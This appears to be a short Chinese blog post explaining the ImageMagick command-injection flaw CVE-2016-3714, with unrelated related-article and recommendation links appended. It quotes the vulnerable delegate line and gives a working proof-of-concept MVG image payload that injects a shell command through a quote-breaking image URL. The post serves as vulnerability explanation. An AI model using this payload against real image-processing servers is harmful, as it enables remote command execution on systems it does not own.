ImageMagick Remote Command Execute
CVE ID: CVE-2016-3714
我挺纠结应该用中文写博客还是应该用英文写博客。英文吧作用挺明显的,可以锻炼自己的英语表达能力,但是可能会阻碍和一些英文不好的朋友交流。
It's upsetting to determine whether to write blog in English or in Chinese.Absolutely, I can train my capability of expression.But it may be in the way of communication of friends.
先拿中文写吧。
I will write in Chinese at present.
由于ImageMagick在Java/PHP/Python等库中应用广泛,所以在全世界各种网站中十分流行。因此这个RCE就十分严重了。
问题理解起来十分简单,ImageMagick在处理url为https开头的图片时,对于图片地址字符串没有进行过滤就直接放入system()执行,导致存在命令注入:
" <delegate decode=\"https\" command=\""wget" -q -O "%o" "https:%M"\"/>"
status=system(sanitize_command);
注意,%M是占位符,代表图片url。所以command实际上是:
"wget" -q -O "%o" "https:%M"
那么如果我们的图片url是类似于下面的:
https://example.com"|ls "-al
则command变成了:
"wget" -q -O "%o" "https://example.com" | ls "-al"
也就是说,引号被提前闭合了(跟基本的SQL注入很像吧)
在本地测试一下:

成功执行了ls -al
我们可以把命令写入一个图片中:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
保存为x.png:

End:
哎人艰不拆人艰不拆,你们这种漏洞真的好嘛 : )
ImageMagick Remote Command Execute的更多相关文章
- PowerShell vs. PsExec for Remote Command Execution
Posted by Jianpeng Mo / January 20, 2014 Monitoring and maintaining large-scale, complex, highly dis ...
- struts2 CVE-2012-0392 S2-008 Strict DMI does not work correctly allows remote command execution and arbitrary file overwrite
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- struts2 CVE-2010-1870 S2-005 XWork ParameterInterceptors bypass allows remote command execution
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- JMX/RMI Nice ENGAGE <= 6.5 Remote Command Execution
CVE ID : CVE-2019-7727 JMX/RMI Nice ENGAGE <= 6.5 Remote Command Execution description=========== ...
- [EXP]Jenkins 2.150.2 - Remote Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://gith ...
- Android shell command execute Demo
package com.android.utils; import java.io.File; import java.io.IOException; import java.io.InputStre ...
- struts2 CVE-2013-2251 S2-016 action、redirect code injection remote command execution
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- struts2 CVE-2013-1965 S2-012 Showcase app vulnerability allows remote command execution
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- [EXP]Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://gith ...
随机推荐
- WPF如何实现一个漂亮的页签导航UI
最近看到一个比较漂亮的UI主界面,该UI是用左边的页签进行导航,比较有特色,就想着尝试用WPF来实现一下.经过一番尝试,基本上将UI设计图的效果用WPF程序进行了实现.下面介绍一下主要的思路: 1 U ...
- Planetary.js:帮助你构建超炫的互动球体效果
Planetary.js 是一个 JavaScript 库,用于构建互动球体效果.它使用 D3 和 TopoJSON 解析和渲染地理数据.Planetary.js 采用了基于插件的架构,即使是默认的功 ...
- Spring AOP专业术语解析
一. 连接点(Joinpoint) 连接点就是程序执行的某个特定的位置,如:类开始初始化前.类初始化后.类的某个方法调用前.类的某个方法调用后.方法抛出异常后等.Spring 只支持类的方法前.后.抛 ...
- 【前端盲点】DOM事件流论证CSS盒模型是否具有厚度
前言 很久没有扯淡了,我们今天来扯淡吧. 我今天思考了一个问题,我们页面的dom树到底是如何渲染的,而CSS盒模型与javascript是否有联系,于是便想到一个问题: CSS的盒模型具有厚度么??? ...
- pdo mysql错误:Cannot execute queries while other unbuffered queries are active
运行环境:PHP 5.5.30-x64,MYSQL 5.6.27 错误代码:Cannot execute queries while other unbuffered queries are act ...
- [deviceone开发]-UI组件的动画示例
一.简介 自定义组件模版(头部,按钮,加减数量,加载,底部弹出,开关(文字/无文字),选项卡(2-4), radio)全部带自定义动画效果,需从组件商店中添加:do_Animator组件 二.效果图 ...
- fullPage教程 -- 整屏滚动效果插件 fullpage详解
1.引用文件 [html] view plain copy print?在CODE上查看代码片派生到我的代码片 <link rel="stylesheet" href=&qu ...
- 导入CSV格式的数据
导入CSV格式的数据 (参见http://dev.mysql.com/doc/refman/5.6/en/load-data.html) 1.数据库表(st_pptn_r) CREATE TABLE ...
- SharePoint 2013 JavaScript API 记录
1.获取创建者字段(Author),oListItem为SPListItem对象 oListItem.get_item('Author')只能获取到对象,获取用户名要用oListItem.get_it ...
- 新萝卜家园GHOST WIN7系统32,64位极速装机特别版
系统来自:系统妈:http://www.xitongma.com 新萝卜家园GHOST win7系统32位极速装机特别版 V2016年3月 系统概述 新萝卜家园ghost win7系统32位极速装机特 ...